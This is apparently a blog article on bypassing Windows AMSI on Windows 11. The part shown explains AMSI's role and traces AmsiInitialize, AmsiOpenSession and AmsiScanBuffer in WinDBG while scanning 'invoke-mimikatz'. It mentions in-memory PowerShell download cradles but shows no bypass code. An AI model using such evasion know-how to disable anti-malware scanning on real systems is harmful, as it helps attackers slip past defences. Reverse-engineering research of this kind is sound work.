# Bypass AMSI On Windows 11

# Motivation

In this article, I want to break down AMSI (Anti-Malware Scan Interface) and its bypass technique on Windows 11. AMSI bypass is not a new topic, and compared with bypassing EDR, AMSI bypass is much easier, but I found that one bypass approach taught in OSEP does not work on Windows 11. It interests me, as I want to know what has changed under the hood on Windows 11.

<figure class="wi wj wk wl wm wn wf wg paragraph-image" id="bkmrk-"><div class="wq wr fl ws bg wt" role="button" tabindex="0"><div class="wf wg apm"><picture><source sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" srcset="https://miro.medium.com/v2/resize:fit:640/format:webp/0*5P_PNHqYmPYGuhMk.png 640w, https://miro.medium.com/v2/resize:fit:720/format:webp/0*5P_PNHqYmPYGuhMk.png 720w, https://miro.medium.com/v2/resize:fit:750/format:webp/0*5P_PNHqYmPYGuhMk.png 750w, https://miro.medium.com/v2/resize:fit:786/format:webp/0*5P_PNHqYmPYGuhMk.png 786w, https://miro.medium.com/v2/resize:fit:828/format:webp/0*5P_PNHqYmPYGuhMk.png 828w, https://miro.medium.com/v2/resize:fit:1100/format:webp/0*5P_PNHqYmPYGuhMk.png 1100w, https://miro.medium.com/v2/resize:fit:1400/format:webp/0*5P_PNHqYmPYGuhMk.png 1400w" type="image/webp"><source data-testid="og" sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" srcset="https://miro.medium.com/v2/resize:fit:640/0*5P_PNHqYmPYGuhMk.png 640w, https://miro.medium.com/v2/resize:fit:720/0*5P_PNHqYmPYGuhMk.png 720w, https://miro.medium.com/v2/resize:fit:750/0*5P_PNHqYmPYGuhMk.png 750w, https://miro.medium.com/v2/resize:fit:786/0*5P_PNHqYmPYGuhMk.png 786w, https://miro.medium.com/v2/resize:fit:828/0*5P_PNHqYmPYGuhMk.png 828w, https://miro.medium.com/v2/resize:fit:1100/0*5P_PNHqYmPYGuhMk.png 1100w, https://miro.medium.com/v2/resize:fit:1400/0*5P_PNHqYmPYGuhMk.png 1400w">![](https://miro.medium.com/v2/resize:fit:875/0*5P_PNHqYmPYGuhMk.png)</source></source></picture></div></div></figure>As I am learning OSED, I also want to apply the reverse engineering skill I learned to do some personal research. Okay, let’s start.

# Background

On Windows hosts, we can get a shell or C2 session by executing an exe file. Additionally, we can achieve the same goal with some script languages, such as using **PowerShell IEX** download cradle to run the script in memory without leaving files on the disk. Compared to detecting payloads on the disk, it is harder for traditional anti-virus products to detect such delivery, while AMSI provides a scanning interface to capture various script languages such as **PowerShell**, **JScript**, **VBA**, or **C# code** at run time to address the gap.

Amsi stands for “**Anti-malware Scan Interface**“; it <mark class="arb arc ao">targets</mark> malicious **script-based malware**. The following figure illustrates the process of how AMSI works in high level.

<figure class="wi wj wk wl wm wn wf wg paragraph-image" id="bkmrk--1"><div class="wq wr fl ws bg wt" role="button" tabindex="0"><div class="wf wg apn"><picture><source sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" srcset="https://miro.medium.com/v2/resize:fit:640/format:webp/0*cV89qZMVc1nrX6MU.png 640w, https://miro.medium.com/v2/resize:fit:720/format:webp/0*cV89qZMVc1nrX6MU.png 720w, https://miro.medium.com/v2/resize:fit:750/format:webp/0*cV89qZMVc1nrX6MU.png 750w, https://miro.medium.com/v2/resize:fit:786/format:webp/0*cV89qZMVc1nrX6MU.png 786w, https://miro.medium.com/v2/resize:fit:828/format:webp/0*cV89qZMVc1nrX6MU.png 828w, https://miro.medium.com/v2/resize:fit:1100/format:webp/0*cV89qZMVc1nrX6MU.png 1100w, https://miro.medium.com/v2/resize:fit:1400/format:webp/0*cV89qZMVc1nrX6MU.png 1400w" type="image/webp"><source data-testid="og" sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" srcset="https://miro.medium.com/v2/resize:fit:640/0*cV89qZMVc1nrX6MU.png 640w, https://miro.medium.com/v2/resize:fit:720/0*cV89qZMVc1nrX6MU.png 720w, https://miro.medium.com/v2/resize:fit:750/0*cV89qZMVc1nrX6MU.png 750w, https://miro.medium.com/v2/resize:fit:786/0*cV89qZMVc1nrX6MU.png 786w, https://miro.medium.com/v2/resize:fit:828/0*cV89qZMVc1nrX6MU.png 828w, https://miro.medium.com/v2/resize:fit:1100/0*cV89qZMVc1nrX6MU.png 1100w, https://miro.medium.com/v2/resize:fit:1400/0*cV89qZMVc1nrX6MU.png 1400w">![](https://miro.medium.com/v2/resize:fit:875/0*cV89qZMVc1nrX6MU.png)</source></source></picture></div></div></figure>**amsi.dll** is loaded to each **powershell.exe** process, providing export functions such as **AmsiInitialize**, **AmsiOpenSession,** **AmsiScanbuffer**, etc. The content of the script is passed into **AmsiScanBuffer** as an argument. Before the execution, the script will be determined if it is malicious.

Use WinDBG to run powershell.exe; when the process is attached, we can see now amsi.dll is not loaded already.

<figure class="wi wj wk wl wm wn wf wg paragraph-image" id="bkmrk--2"><div class="wq wr fl ws bg wt" role="button" tabindex="0"><div class="wf wg apo"><picture><source sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" srcset="https://miro.medium.com/v2/resize:fit:640/format:webp/0*9_HXIzK2ZbVyQRzi.png 640w, https://miro.medium.com/v2/resize:fit:720/format:webp/0*9_HXIzK2ZbVyQRzi.png 720w, https://miro.medium.com/v2/resize:fit:750/format:webp/0*9_HXIzK2ZbVyQRzi.png 750w, https://miro.medium.com/v2/resize:fit:786/format:webp/0*9_HXIzK2ZbVyQRzi.png 786w, https://miro.medium.com/v2/resize:fit:828/format:webp/0*9_HXIzK2ZbVyQRzi.png 828w, https://miro.medium.com/v2/resize:fit:1100/format:webp/0*9_HXIzK2ZbVyQRzi.png 1100w, https://miro.medium.com/v2/resize:fit:1400/format:webp/0*9_HXIzK2ZbVyQRzi.png 1400w" type="image/webp"><source data-testid="og" sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" srcset="https://miro.medium.com/v2/resize:fit:640/0*9_HXIzK2ZbVyQRzi.png 640w, https://miro.medium.com/v2/resize:fit:720/0*9_HXIzK2ZbVyQRzi.png 720w, https://miro.medium.com/v2/resize:fit:750/0*9_HXIzK2ZbVyQRzi.png 750w, https://miro.medium.com/v2/resize:fit:786/0*9_HXIzK2ZbVyQRzi.png 786w, https://miro.medium.com/v2/resize:fit:828/0*9_HXIzK2ZbVyQRzi.png 828w, https://miro.medium.com/v2/resize:fit:1100/0*9_HXIzK2ZbVyQRzi.png 1100w, https://miro.medium.com/v2/resize:fit:1400/0*9_HXIzK2ZbVyQRzi.png 1400w">![](https://miro.medium.com/v2/resize:fit:875/0*9_HXIzK2ZbVyQRzi.png)</source></source></picture></div></div></figure>Set unresolved breakpoints for **AmsiInitialize**, **AmsiOpenSession**, and **AmsiScanBuffer,** continue the execution. Immediately, we hit the breakpoint at the entry of function AmsiInitialize. Now amsi.dll is loaded, and the function AmsiInitialize is called.

<figure class="wi wj wk wl wm wn wf wg paragraph-image" id="bkmrk--3"><div class="wf wg app"><picture><source sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 660px" srcset="https://miro.medium.com/v2/resize:fit:640/format:webp/0*wxs9luiAkSIne5nz.png 640w, https://miro.medium.com/v2/resize:fit:720/format:webp/0*wxs9luiAkSIne5nz.png 720w, https://miro.medium.com/v2/resize:fit:750/format:webp/0*wxs9luiAkSIne5nz.png 750w, https://miro.medium.com/v2/resize:fit:786/format:webp/0*wxs9luiAkSIne5nz.png 786w, https://miro.medium.com/v2/resize:fit:828/format:webp/0*wxs9luiAkSIne5nz.png 828w, https://miro.medium.com/v2/resize:fit:1100/format:webp/0*wxs9luiAkSIne5nz.png 1100w, https://miro.medium.com/v2/resize:fit:1320/format:webp/0*wxs9luiAkSIne5nz.png 1320w" type="image/webp"><source data-testid="og" sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 660px" srcset="https://miro.medium.com/v2/resize:fit:640/0*wxs9luiAkSIne5nz.png 640w, https://miro.medium.com/v2/resize:fit:720/0*wxs9luiAkSIne5nz.png 720w, https://miro.medium.com/v2/resize:fit:750/0*wxs9luiAkSIne5nz.png 750w, https://miro.medium.com/v2/resize:fit:786/0*wxs9luiAkSIne5nz.png 786w, https://miro.medium.com/v2/resize:fit:828/0*wxs9luiAkSIne5nz.png 828w, https://miro.medium.com/v2/resize:fit:1100/0*wxs9luiAkSIne5nz.png 1100w, https://miro.medium.com/v2/resize:fit:1320/0*wxs9luiAkSIne5nz.png 1320w">![](https://miro.medium.com/v2/resize:fit:825/0*wxs9luiAkSIne5nz.png)</source></source></picture></div></figure><figure class="wi wj wk wl wm wn wf wg paragraph-image" id="bkmrk--4"><div class="wq wr fl ws bg wt" role="button" tabindex="0"><div class="wf wg apq"><picture><source sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" srcset="https://miro.medium.com/v2/resize:fit:640/format:webp/0*WtW3XzIaqT6TpVcG.png 640w, https://miro.medium.com/v2/resize:fit:720/format:webp/0*WtW3XzIaqT6TpVcG.png 720w, https://miro.medium.com/v2/resize:fit:750/format:webp/0*WtW3XzIaqT6TpVcG.png 750w, https://miro.medium.com/v2/resize:fit:786/format:webp/0*WtW3XzIaqT6TpVcG.png 786w, https://miro.medium.com/v2/resize:fit:828/format:webp/0*WtW3XzIaqT6TpVcG.png 828w, https://miro.medium.com/v2/resize:fit:1100/format:webp/0*WtW3XzIaqT6TpVcG.png 1100w, https://miro.medium.com/v2/resize:fit:1400/format:webp/0*WtW3XzIaqT6TpVcG.png 1400w" type="image/webp"><source data-testid="og" sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" srcset="https://miro.medium.com/v2/resize:fit:640/0*WtW3XzIaqT6TpVcG.png 640w, https://miro.medium.com/v2/resize:fit:720/0*WtW3XzIaqT6TpVcG.png 720w, https://miro.medium.com/v2/resize:fit:750/0*WtW3XzIaqT6TpVcG.png 750w, https://miro.medium.com/v2/resize:fit:786/0*WtW3XzIaqT6TpVcG.png 786w, https://miro.medium.com/v2/resize:fit:828/0*WtW3XzIaqT6TpVcG.png 828w, https://miro.medium.com/v2/resize:fit:1100/0*WtW3XzIaqT6TpVcG.png 1100w, https://miro.medium.com/v2/resize:fit:1400/0*WtW3XzIaqT6TpVcG.png 1400w">![](https://miro.medium.com/v2/resize:fit:875/0*WtW3XzIaqT6TpVcG.png)</source></source></picture></div></div></figure>At this time, we have not executed any script, and the powershell banner is not even loaded.

<figure class="wi wj wk wl wm wn wf wg paragraph-image" id="bkmrk--5"><div class="wf wg apr"><picture><source sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 685px" srcset="https://miro.medium.com/v2/resize:fit:640/format:webp/0*gdrOZezkU7pw3ifM.png 640w, https://miro.medium.com/v2/resize:fit:720/format:webp/0*gdrOZezkU7pw3ifM.png 720w, https://miro.medium.com/v2/resize:fit:750/format:webp/0*gdrOZezkU7pw3ifM.png 750w, https://miro.medium.com/v2/resize:fit:786/format:webp/0*gdrOZezkU7pw3ifM.png 786w, https://miro.medium.com/v2/resize:fit:828/format:webp/0*gdrOZezkU7pw3ifM.png 828w, https://miro.medium.com/v2/resize:fit:1100/format:webp/0*gdrOZezkU7pw3ifM.png 1100w, https://miro.medium.com/v2/resize:fit:1370/format:webp/0*gdrOZezkU7pw3ifM.png 1370w" type="image/webp"><source data-testid="og" sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 685px" srcset="https://miro.medium.com/v2/resize:fit:640/0*gdrOZezkU7pw3ifM.png 640w, https://miro.medium.com/v2/resize:fit:720/0*gdrOZezkU7pw3ifM.png 720w, https://miro.medium.com/v2/resize:fit:750/0*gdrOZezkU7pw3ifM.png 750w, https://miro.medium.com/v2/resize:fit:786/0*gdrOZezkU7pw3ifM.png 786w, https://miro.medium.com/v2/resize:fit:828/0*gdrOZezkU7pw3ifM.png 828w, https://miro.medium.com/v2/resize:fit:1100/0*gdrOZezkU7pw3ifM.png 1100w, https://miro.medium.com/v2/resize:fit:1370/0*gdrOZezkU7pw3ifM.png 1370w">![](https://miro.medium.com/v2/resize:fit:856/0*gdrOZezkU7pw3ifM.png)</source></source></picture></div></figure>Continue the execution, we hit breakpoints at the entry of functions **AmsiOpenSession** and **AmsiScanBuffer,** respectively.

<figure class="wi wj wk wl wm wn wf wg paragraph-image" id="bkmrk--6"><div class="wf wg aps"><picture><source sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 696px" srcset="https://miro.medium.com/v2/resize:fit:640/format:webp/0*AzR0xp_sVnqTTCpy.png 640w, https://miro.medium.com/v2/resize:fit:720/format:webp/0*AzR0xp_sVnqTTCpy.png 720w, https://miro.medium.com/v2/resize:fit:750/format:webp/0*AzR0xp_sVnqTTCpy.png 750w, https://miro.medium.com/v2/resize:fit:786/format:webp/0*AzR0xp_sVnqTTCpy.png 786w, https://miro.medium.com/v2/resize:fit:828/format:webp/0*AzR0xp_sVnqTTCpy.png 828w, https://miro.medium.com/v2/resize:fit:1100/format:webp/0*AzR0xp_sVnqTTCpy.png 1100w, https://miro.medium.com/v2/resize:fit:1392/format:webp/0*AzR0xp_sVnqTTCpy.png 1392w" type="image/webp"><source data-testid="og" sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 696px" srcset="https://miro.medium.com/v2/resize:fit:640/0*AzR0xp_sVnqTTCpy.png 640w, https://miro.medium.com/v2/resize:fit:720/0*AzR0xp_sVnqTTCpy.png 720w, https://miro.medium.com/v2/resize:fit:750/0*AzR0xp_sVnqTTCpy.png 750w, https://miro.medium.com/v2/resize:fit:786/0*AzR0xp_sVnqTTCpy.png 786w, https://miro.medium.com/v2/resize:fit:828/0*AzR0xp_sVnqTTCpy.png 828w, https://miro.medium.com/v2/resize:fit:1100/0*AzR0xp_sVnqTTCpy.png 1100w, https://miro.medium.com/v2/resize:fit:1392/0*AzR0xp_sVnqTTCpy.png 1392w">![](https://miro.medium.com/v2/resize:fit:870/0*AzR0xp_sVnqTTCpy.png)</source></source></picture></div></figure>Now, the banner is loaded, and we can supply the script.

<figure class="wi wj wk wl wm wn wf wg paragraph-image" id="bkmrk--7"><div class="wq wr fl ws bg wt" role="button" tabindex="0"><div class="wf wg apt"><picture><source sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" srcset="https://miro.medium.com/v2/resize:fit:640/format:webp/0*zslt0tsd2GjCs2QC.png 640w, https://miro.medium.com/v2/resize:fit:720/format:webp/0*zslt0tsd2GjCs2QC.png 720w, https://miro.medium.com/v2/resize:fit:750/format:webp/0*zslt0tsd2GjCs2QC.png 750w, https://miro.medium.com/v2/resize:fit:786/format:webp/0*zslt0tsd2GjCs2QC.png 786w, https://miro.medium.com/v2/resize:fit:828/format:webp/0*zslt0tsd2GjCs2QC.png 828w, https://miro.medium.com/v2/resize:fit:1100/format:webp/0*zslt0tsd2GjCs2QC.png 1100w, https://miro.medium.com/v2/resize:fit:1400/format:webp/0*zslt0tsd2GjCs2QC.png 1400w" type="image/webp"><source data-testid="og" sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" srcset="https://miro.medium.com/v2/resize:fit:640/0*zslt0tsd2GjCs2QC.png 640w, https://miro.medium.com/v2/resize:fit:720/0*zslt0tsd2GjCs2QC.png 720w, https://miro.medium.com/v2/resize:fit:750/0*zslt0tsd2GjCs2QC.png 750w, https://miro.medium.com/v2/resize:fit:786/0*zslt0tsd2GjCs2QC.png 786w, https://miro.medium.com/v2/resize:fit:828/0*zslt0tsd2GjCs2QC.png 828w, https://miro.medium.com/v2/resize:fit:1100/0*zslt0tsd2GjCs2QC.png 1100w, https://miro.medium.com/v2/resize:fit:1400/0*zslt0tsd2GjCs2QC.png 1400w">![](https://miro.medium.com/v2/resize:fit:875/0*zslt0tsd2GjCs2QC.png)</source></source></picture></div></div></figure>In summary, though the process of loading AMSI may involve more steps and be more complex, we know AmsiInitialize is called first, then AmsiOpenSession, and AmsiScanBuffer.

Let’s supply malicious content “**invoke-mimikatz”**, and inspect the calling of these functions.

<figure class="wi wj wk wl wm wn wf wg paragraph-image" id="bkmrk--8"><div class="wq wr fl ws bg wt" role="button" tabindex="0"><div class="wf wg apu"><picture><source sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" srcset="https://miro.medium.com/v2/resize:fit:640/format:webp/0*IkCvULhtK5YV7Ij2.png 640w, https://miro.medium.com/v2/resize:fit:720/format:webp/0*IkCvULhtK5YV7Ij2.png 720w, https://miro.medium.com/v2/resize:fit:750/format:webp/0*IkCvULhtK5YV7Ij2.png 750w, https://miro.medium.com/v2/resize:fit:786/format:webp/0*IkCvULhtK5YV7Ij2.png 786w, https://miro.medium.com/v2/resize:fit:828/format:webp/0*IkCvULhtK5YV7Ij2.png 828w, https://miro.medium.com/v2/resize:fit:1100/format:webp/0*IkCvULhtK5YV7Ij2.png 1100w, https://miro.medium.com/v2/resize:fit:1400/format:webp/0*IkCvULhtK5YV7Ij2.png 1400w" type="image/webp"><source data-testid="og" sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" srcset="https://miro.medium.com/v2/resize:fit:640/0*IkCvULhtK5YV7Ij2.png 640w, https://miro.medium.com/v2/resize:fit:720/0*IkCvULhtK5YV7Ij2.png 720w, https://miro.medium.com/v2/resize:fit:750/0*IkCvULhtK5YV7Ij2.png 750w, https://miro.medium.com/v2/resize:fit:786/0*IkCvULhtK5YV7Ij2.png 786w, https://miro.medium.com/v2/resize:fit:828/0*IkCvULhtK5YV7Ij2.png 828w, https://miro.medium.com/v2/resize:fit:1100/0*IkCvULhtK5YV7Ij2.png 1100w, https://miro.medium.com/v2/resize:fit:1400/0*IkCvULhtK5YV7Ij2.png 1400w">![](https://miro.medium.com/v2/resize:fit:875/0*IkCvULhtK5YV7Ij2.png)</source></source></picture></div></div></figure>When inspecting script content, AmsiInitialize is not called, but AmsiOpenSession and AmsiScanBuffer are still called in order. The calling order is not surprising, as the function names are self-explanatory.

<figure class="wi wj wk wl wm wn wf wg paragraph-image" id="bkmrk--9"><div class="wq wr fl ws bg wt" role="button" tabindex="0"><div class="wf wg apv"><picture><source sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" srcset="https://miro.medium.com/v2/resize:fit:640/format:webp/0*aDJQ9WmQDqOUPFZC.png 640w, https://miro.medium.com/v2/resize:fit:720/format:webp/0*aDJQ9WmQDqOUPFZC.png 720w, https://miro.medium.com/v2/resize:fit:750/format:webp/0*aDJQ9WmQDqOUPFZC.png 750w, https://miro.medium.com/v2/resize:fit:786/format:webp/0*aDJQ9WmQDqOUPFZC.png 786w, https://miro.medium.com/v2/resize:fit:828/format:webp/0*aDJQ9WmQDqOUPFZC.png 828w, https://miro.medium.com/v2/resize:fit:1100/format:webp/0*aDJQ9WmQDqOUPFZC.png 1100w, https://miro.medium.com/v2/resize:fit:1400/format:webp/0*aDJQ9WmQDqOUPFZC.png 1400w" type="image/webp"><source data-testid="og" sizes="(min-resolution: 4dppx) and (max-width: 700px) 50vw, (-webkit-min-device-pixel-ratio: 4) and (max-width: 700px) 50vw, (min-resolution: 3dppx) and (max-width: 700px) 67vw, (-webkit-min-device-pixel-ratio: 3) and (max-width: 700px) 65vw, (min-resolution: 2.5dppx) and (max-width: 700px) 80vw, (-webkit-min-device-pixel-ratio: 2.5) and (max-width: 700px) 80vw, (min-resolution: 2dppx) and (max-width: 700px) 100vw, (-webkit-min-device-pixel-ratio: 2) and (max-width: 700px) 100vw, 700px" srcset="https://miro.medium.com/v2/resize:fit:640/0*aDJQ9WmQDqOUPFZC.png 640w, https://miro.medium.com/v2/resize:fit:720/0*aDJQ9WmQDqOUPFZC.png 720w, https://miro.medium.com/v2/resize:fit:750/0*aDJQ9WmQDqOUPFZC.png 750w, https://miro.medium.com/v2/resize:fit:786/0*aDJQ9WmQDqOUPFZC.png 786w, https://miro.medium.com/v2/resize:fit:828/0*aDJQ9WmQDqOUPFZC.png 828w, https://miro.medium.com/v2/resize:fit:1100/0*aDJQ9WmQDqOUPFZC.png 1100w, https://miro.medium.com/v2/resize:fit:1400/0*aDJQ9WmQDqOUPFZC.png 1400w">![](https://miro.medium.com/v2/resize:fit:875/0*aDJQ9WmQDqOUPFZC.png)</source></source></picture></div></div></figure>Finally, the script content is regarded as malicious.

